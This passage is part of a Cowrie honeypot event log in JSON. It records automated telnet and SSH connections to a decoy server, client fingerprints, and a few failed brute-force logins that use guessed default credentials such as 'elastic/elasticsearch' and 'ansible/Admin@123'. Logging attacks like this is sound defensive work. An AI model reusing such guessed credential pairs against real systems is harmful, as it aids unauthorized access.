rcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:15.930883Z","src_ip":"159.203.92.129","session":"c21ed0ff49fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Admin123456!","message":"login attempt [ansible/Admin123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:15.948866Z","src_ip":"159.203.92.129","session":"c21ed0ff49fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.79292583465576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:16.072936Z","src_ip":"204.10.38.242","session":"1a85dfc2e696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:16.964506Z","src_ip":"159.203.92.129","session":"c21ed0ff49fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40334,"dst_ip":"159.203.135.109","dst_port":23,"session":"c71f7e73189e","protocol":"telnet","message":"New connection: 204.10.38.242:40334 (159.203.135.109:23) [session: c71f7e73189e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:17.436604Z"}
{"eventid":"cowrie.session.closed","duration":31.779616594314575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:17.951056Z","src_ip":"204.10.38.242","session":"b1595164a179","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.619985103607178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:17.980981Z","src_ip":"204.10.38.242","session":"6b6c38d4fa1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.430620670318604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:18.139151Z","src_ip":"204.10.38.242","session":"2d901b412ffc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68407106399536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:18.308263Z","src_ip":"204.10.38.242","session":"e57c94d9d6c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47392,"dst_ip":"159.203.135.109","dst_port":23,"session":"eadc39901016","protocol":"telnet","message":"New connection: 204.10.38.242:47392 (159.203.135.109:23) [session: eadc39901016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:20.115884Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52878,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b81a67dc10e","protocol":"telnet","message":"New connection: 204.10.38.242:52878 (159.203.135.109:23) [session: 3b81a67dc10e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:20.321216Z"}
{"eventid":"cowrie.session.closed","duration":33.599565267562866,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:20.540484Z","src_ip":"204.10.38.242","session":"817f3d19452d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54612,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f21c6994eba","protocol":"telnet","message":"New connection: 204.10.38.242:54612 (159.203.135.109:23) [session: 4f21c6994eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:20.658324Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55032,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c16b22e02b","protocol":"telnet","message":"New connection: 204.10.38.242:55032 (159.203.135.109:23) [session: 50c16b22e02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:21.764135Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34874,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba522b708cbb","protocol":"telnet","message":"New connection: 204.10.38.242:34874 (159.203.135.109:23) [session: ba522b708cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:22.445549Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35918,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ad9e42ee626","protocol":"telnet","message":"New connection: 204.10.38.242:35918 (159.203.135.109:23) [session: 6ad9e42ee626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:22.646185Z"}
{"eventid":"cowrie.session.closed","duration":30.706754207611084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:23.201555Z","src_ip":"204.10.38.242","session":"57907557c75c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00156664848328,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:23.510167Z","src_ip":"191.251.162.82","session":"1b4275c3193a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.251.162.82","src_port":50722,"dst_ip":"159.203.135.109","dst_port":23,"session":"eae7f0253e82","protocol":"telnet","message":"New connection: 191.251.162.82:50722 (159.203.135.109:23) [session: eae7f0253e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:24.205152Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38290,"dst_ip":"159.203.135.109","dst_port":23,"session":"30a527ca0dab","protocol":"telnet","message":"New connection: 204.10.38.242:38290 (159.203.135.109:23) [session: 30a527ca0dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:24.269593Z"}
{"eventid":"cowrie.session.closed","duration":30.243274927139282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:24.560787Z","src_ip":"176.65.149.254","session":"60b175abf811","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.488614082336426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:24.906018Z","src_ip":"204.10.38.242","session":"1f32f4083f7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46328,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c8c9ea91446","protocol":"telnet","message":"New connection: 204.10.38.242:46328 (159.203.135.109:23) [session: 3c8c9ea91446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:24.914279Z"}
{"eventid":"cowrie.session.closed","duration":30.70392632484436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:25.146848Z","src_ip":"204.10.38.242","session":"40af402dfe4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00189232826233,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:25.610333Z","src_ip":"191.251.162.82","session":"905d2fae798c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.251.162.82","src_port":51044,"dst_ip":"159.203.135.109","dst_port":23,"session":"e52cccbc4d9c","protocol":"telnet","message":"New connection: 191.251.162.82:51044 (159.203.135.109:23) [session: e52cccbc4d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:26.281470Z"}
{"eventid":"cowrie.session.closed","duration":30.68982434272766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:27.152878Z","src_ip":"204.10.38.242","session":"77df990f510e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.6371910572052,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:28.118090Z","src_ip":"204.10.38.242","session":"284d17b69a22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782411336898804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:28.205300Z","src_ip":"204.10.38.242","session":"fe5850f17393","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850747108459473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:28.339233Z","src_ip":"204.10.38.242","session":"b67c76605922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36224,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ce08b5e044","protocol":"telnet","message":"New connection: 204.10.38.242:36224 (159.203.135.109:23) [session: f6ce08b5e044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:28.903786Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38044,"dst_ip":"159.203.135.109","dst_port":23,"session":"1310d8656646","protocol":"telnet","message":"New connection: 204.10.38.242:38044 (159.203.135.109:23) [session: 1310d8656646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:29.369794Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38658,"dst_ip":"159.203.135.109","dst_port":23,"session":"abdb9592d0c9","protocol":"telnet","message":"New connection: 204.10.38.242:38658 (159.203.135.109:23) [session: abdb9592d0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:29.449735Z"}
{"eventid":"cowrie.session.closed","duration":34.10105538368225,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:29.531697Z","src_ip":"204.10.38.242","session":"de39fb4875e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.98311901092529,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:29.883466Z","src_ip":"204.10.38.242","session":"637db44a6966","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":34732,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e3e9bdd1f13","protocol":"ssh","message":"New connection: 80.94.92.168:34732 (159.203.135.109:22) [session: 3e3e9bdd1f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:29.918459Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:30.048516Z","src_ip":"80.94.92.168","session":"3e3e9bdd1f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34638,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc3b49f7a272","protocol":"telnet","message":"New connection: 204.10.38.242:34638 (159.203.135.109:23) [session: dc3b49f7a272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:31.386879Z"}
{"eventid":"cowrie.session.closed","duration":30.706830978393555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:32.038576Z","src_ip":"204.10.38.242","session":"b493f388b833","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29236674308777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:32.133049Z","src_ip":"204.10.38.242","session":"abb8cea971aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52060,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b4ab5bd9e4d","protocol":"telnet","message":"New connection: 204.10.38.242:52060 (159.203.135.109:23) [session: 6b4ab5bd9e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:32.463665Z"}
{"eventid":"cowrie.session.closed","duration":30.704644918441772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:34.100968Z","src_ip":"204.10.38.242","session":"760b13f44f84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.460925579071045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:36.877566Z","src_ip":"204.10.38.242","session":"dd735694cd0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7188663482666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:39.149489Z","src_ip":"204.10.38.242","session":"e0b3252ef548","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55286,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcd403b3d95b","protocol":"telnet","message":"New connection: 204.10.38.242:55286 (159.203.135.109:23) [session: bcd403b3d95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:40.490259Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44764,"dst_ip":"159.203.135.109","dst_port":23,"session":"08d3cf8021b8","protocol":"telnet","message":"New connection: 204.10.38.242:44764 (159.203.135.109:23) [session: 08d3cf8021b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:43.409615Z"}
{"eventid":"cowrie.session.closed","duration":32.02534079551697,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:44.003683Z","src_ip":"204.10.38.242","session":"98a5f3a30c6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66391682624817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:44.209056Z","src_ip":"204.10.38.242","session":"94ede30e67e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45728,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f069929399","protocol":"telnet","message":"New connection: 185.26.126.47:45728 (159.203.135.109:23) [session: 25f069929399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:45.088682Z"}
{"eventid":"cowrie.session.closed","duration":31.123706817626953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:45.183127Z","src_ip":"204.10.38.242","session":"9776ad77547e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791378021240234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:48.227879Z","src_ip":"204.10.38.242","session":"c71f7e73189e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43962,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c73191a0d64","protocol":"telnet","message":"New connection: 204.10.38.242:43962 (159.203.135.109:23) [session: 8c73191a0d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:49.441712Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59312,"dst_ip":"159.203.135.109","dst_port":23,"session":"934bacb0585b","protocol":"telnet","message":"New connection: 204.10.38.242:59312 (159.203.135.109:23) [session: 934bacb0585b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:49.550344Z"}
{"eventid":"cowrie.session.closed","duration":30.448822259902954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:51.107059Z","src_ip":"204.10.38.242","session":"4f21c6994eba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.514697790145874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:51.630454Z","src_ip":"204.10.38.242","session":"eadc39901016","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63310694694519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:51.954205Z","src_ip":"204.10.38.242","session":"3b81a67dc10e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.986327171325684,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:52.074882Z","src_ip":"185.26.126.47","session":"25f069929399","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25086784362793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:53.014906Z","src_ip":"204.10.38.242","session":"50c16b22e02b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.597686529159546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:53.043123Z","src_ip":"204.10.38.242","session":"ba522b708cbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51019024848938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:53.156254Z","src_ip":"204.10.38.242","session":"6ad9e42ee626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.765135765075684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:56.034630Z","src_ip":"204.10.38.242","session":"30a527ca0dab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21796989440918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:56.132172Z","src_ip":"204.10.38.242","session":"3c8c9ea91446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":52896,"dst_ip":"159.203.135.109","dst_port":22,"session":"93d697536c36","protocol":"ssh","message":"New connection: 171.244.141.86:52896 (159.203.135.109:22) [session: 93d697536c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:58.748387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:58.752637Z","src_ip":"171.244.141.86","session":"93d697536c36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:55:59.002083Z","src_ip":"171.244.141.86","session":"93d697536c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.101922273635864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:00.005572Z","src_ip":"204.10.38.242","session":"f6ce08b5e044","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elasticsearch","message":"login attempt [elastic/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:00.035317Z","src_ip":"171.244.141.86","session":"93d697536c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.910343408584595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:00.359953Z","src_ip":"204.10.38.242","session":"abdb9592d0c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46078,"dst_ip":"159.203.135.109","dst_port":22,"session":"52ed062ebb02","protocol":"ssh","message":"New connection: 159.203.92.129:46078 (159.203.135.109:22) [session: 52ed062ebb02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:00.500461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:00.506299Z","src_ip":"159.203.92.129","session":"52ed062ebb02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:00.518504Z","src_ip":"159.203.92.129","session":"52ed062ebb02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Admin@123","message":"login attempt [ansible/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:00.532006Z","src_ip":"159.203.92.129","session":"52ed062ebb02","protocol":"ssh"}
